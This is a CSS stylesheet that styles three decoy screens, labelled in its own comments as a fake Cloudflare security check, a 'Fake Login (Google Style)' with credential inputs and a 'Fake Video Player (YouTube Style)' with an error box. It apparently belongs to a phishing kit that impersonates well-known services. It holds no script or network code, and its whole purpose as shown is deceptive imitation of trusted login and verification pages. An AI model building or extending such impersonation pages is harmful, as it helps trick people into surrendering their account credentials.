body {
    font-family: 'Roboto', sans-serif;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    background-color: #f9f9f9;
    color: #333;
}

.hidden {
    display: none !important;
}

/* --- UI 1: Cloudflare Security Check (Default) --- */
#ui-default {
    text-align: center;
}

.spinner {
    border: 3px solid #f3f3f3;
    border-top: 3px solid #3498db;
    border-radius: 50%;
    width: 30px;
    height: 30px;
    animation: spin 1s linear infinite;
    margin: 0 auto 15px auto;
}

@keyframes spin {
    0% {
        transform: rotate(0deg);
    }

    100% {
        transform: rotate(360deg);
    }
}

.security-box {
    background: white;
    padding: 40px;
    border: 1px solid #e0e0e0;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);
    max-width: 400px;
    width: 90%;
}

.security-title {
    font-size: 24px;
    font-weight: 500;
    margin-bottom: 10px;
}

.security-text {
    color: #666;
    margin-bottom: 20px;
    font-size: 14px;
}

/* --- UI 2: Fake Login (Google Style) --- */
#ui-login {
    background: white;
    padding: 40px;
    border-radius: 8px;
    border: 1px solid #dadce0;
    width: 100%;
    max-width: 350px;
    text-align: center;
}

.login-logo {
    font-size: 24px;
    font-weight: bold;
    color: #4285f4;
    margin-bottom: 10px;
}

.login-title {
    font-size: 22px;
    font-weight: 400;
    margin-bottom: 10px;
    color: #202124;
}

.login-subtitle {
    font-size: 14px;
    color: #202124;
    margin-bottom: 30px;
}

.login-input {
    width: 100%;
    padding: 13px 15px;
    margin-bottom: 15px;
    border: 1px solid #dadce0;
    border-radius: 4px;
    font-size: 14px;
    box-sizing: border-box;
}

.login-btn {
    background: #1a73e8;
    color: white;
    border: none;
    padding: 10px 24px;
    border-radius: 4px;
    font-weight: bold;
    cursor: pointer;
    float: right;
}

/* --- UI 3: Fake Video Player (YouTube Style) --- */
#ui-video {
    background: #000;
    width: 100%;
    height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    color: #fff;
}

.video-loader {
    border: 4px solid rgba(255, 255, 255, 0.3);
    border-radius: 50%;
    border-top: 4px solid #fff;
    width: 40px;
    height: 40px;
    animation: spin 1s linear infinite;
    margin-bottom: 20px;
}

.error-message {
    margin-top: 20px;
    padding: 15px;
    background: #333;
    border-radius: 5px;
    text-align: center;
    max-width: 300px;
}
